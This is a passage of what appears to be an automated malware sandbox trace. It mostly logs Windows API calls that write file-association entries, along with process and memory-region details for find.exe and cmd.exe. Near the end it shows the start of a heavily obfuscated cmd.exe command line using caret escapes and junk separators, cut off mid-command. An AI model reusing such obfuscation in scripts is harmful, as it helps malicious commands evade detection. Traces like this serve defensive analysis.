lpMultiByteStr="Word.DocumentMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 109 [0101.988] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x6c, lpOverlapped=0x0) returned 1 [0101.988] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Word.OpenDocumentText.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\"\r\n") returned 96 [0101.988] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.988] GetFileType (hFile=0x5c) returned 0x3 [0101.988] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Word.OpenDocumentText.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word.OpenDocumentText.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 97 [0101.989] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x60, lpOverlapped=0x0) returned 1 [0101.989] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Word.RTF.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n") returned 90 [0101.989] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.989] GetFileType (hFile=0x5c) returned 0x3 [0101.989] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.989] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Word.RTF.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word.RTF.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 91 [0101.989] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5a, lpOverlapped=0x0) returned 1 [0101.989] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Word.Template.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n") returned 96 [0101.989] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.989] GetFileType (hFile=0x5c) returned 0x3 [0101.990] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Word.Template.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word.Template.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97 [0101.990] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x60, lpOverlapped=0x0) returned 1 [0101.990] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Word.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n") returned 95 [0101.990] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.990] GetFileType (hFile=0x5c) returned 0x3 [0101.990] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Word.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 96 [0101.990] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5f, lpOverlapped=0x0) returned 1 [0101.990] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Word.TemplateMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n") returned 108 [0101.990] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.990] GetFileType (hFile=0x5c) returned 0x3 [0101.991] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Word.TemplateMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word.TemplateMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"%1\" /o \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 109 [0101.991] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x6c, lpOverlapped=0x0) returned 1 [0101.991] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Word.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 90 [0101.991] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.991] GetFileType (hFile=0x5c) returned 0x3 [0101.991] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Word.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 91 [0101.991] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5a, lpOverlapped=0x0) returned 1 [0101.991] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="wordhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\"\r\n") returned 76 [0101.991] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.991] GetFileType (hFile=0x5c) returned 0x3 [0101.991] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.992] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wordhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wordhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 77 [0101.992] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0101.996] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="wordhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\"\r\n") returned 80 [0101.996] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.996] GetFileType (hFile=0x5c) returned 0x3 [0101.996] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="wordhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wordhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 81 [0101.996] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x50, lpOverlapped=0x0) returned 1 [0101.997] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Wordpad.Document.1=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n") returned 77 [0101.997] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.997] GetFileType (hFile=0x5c) returned 0x3 [0101.997] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Wordpad.Document.1=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wordpad.Document.1=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 78 [0101.997] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4d, lpOverlapped=0x0) returned 1 [0101.997] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WSFFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n") returned 53 [0101.997] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.997] GetFileType (hFile=0x5c) returned 0x3 [0101.997] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WSFFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WSFFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 54 [0101.998] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x35, lpOverlapped=0x0) returned 1 [0101.998] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="WSHFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n") returned 53 [0101.998] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.998] GetFileType (hFile=0x5c) returned 0x3 [0101.998] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WSHFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WSHFile=\"%SystemRoot%\\System32\\WScript.exe\" \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 54 [0101.998] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x35, lpOverlapped=0x0) returned 1 [0102.000] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="xmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Office16\\MSOXMLED.EXE\" /verb open \"%1\"\r\n") returned 131 [0102.000] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.000] GetFileType (hFile=0x5c) returned 0x3 [0102.000] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="xmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Office16\\MSOXMLED.EXE\" /verb open \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Office16\\MSOXMLED.EXE\" /verb open \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 132 [0102.000] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x83, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x83, lpOverlapped=0x0) returned 1 [0102.000] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="xslfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 73 [0102.000] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.000] GetFileType (hFile=0x5c) returned 0x3 [0102.000] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="xslfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xslfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 74 [0102.001] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x49, lpOverlapped=0x0) returned 1 [0102.001] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="zapfile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n") returned 46 [0102.001] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.001] GetFileType (hFile=0x5c) returned 0x3 [0102.001] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="zapfile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zapfile=%SystemRoot%\\system32\\NOTEPAD.EXE %1\r\n", lpUsedDefaultChar=0x0) returned 47 [0102.001] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x2e, lpOverlapped=0x0) returned 1 [0102.001] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.001] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0 [0102.001] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.002] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0102.002] _get_osfhandle (_FileHandle=0) returned 0x3 [0102.002] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0102.002] SetConsoleInputExeNameW () returned 0x1 [0102.002] GetConsoleOutputCP () returned 0x1b5 [0102.002] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0102.002] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0102.003] exit (_Code=0) Process: id = "6" image_name = "find.exe" filename = "c:\\windows\\system32\\find.exe" page_root = "0x54293000" os_pid = "0xaf0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xae0" cmd_line = "fINd \"SHCm\" " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1035 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1036 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1037 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1038 start_va = 0xf0000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1039 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1040 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1041 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1042 start_va = 0xffdc0000 end_va = 0xffdc7fff entry_point = 0xffdc0000 region_type = mapped_file name = "find.exe" filename = "\\Windows\\System32\\find.exe" (normalized: "c:\\windows\\system32\\find.exe") Region: id = 1043 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1044 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1045 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1046 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1050 start_va = 0x1d0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1051 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1052 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1053 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1054 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1055 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1056 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1057 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1058 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0xe0000 region_type = mapped_file name = "find.exe.mui" filename = "\\Windows\\System32\\en-US\\find.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\find.exe.mui") Region: id = 1059 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1060 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1061 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1062 start_va = 0x4a0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1063 start_va = 0x4b0000 end_va = 0x637fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 1064 start_va = 0x640000 end_va = 0x7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 1065 start_va = 0x7d0000 end_va = 0x1bcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 1066 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1067 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1068 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1069 start_va = 0x7fee56b0000 end_va = 0x7fee56d7fff entry_point = 0x7fee56b0000 region_type = mapped_file name = "ulib.dll" filename = "\\Windows\\System32\\ulib.dll" (normalized: "c:\\windows\\system32\\ulib.dll") Region: id = 1070 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1071 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1072 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1073 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1074 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1075 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1076 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1077 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1078 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Thread: id = 87 os_tid = 0xaf4 Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x53b31000" os_pid = "0xb04" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xac0" cmd_line = "Cmd , ; ; ; pPuxarv/VCsv40blbkn , cw8f/r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ 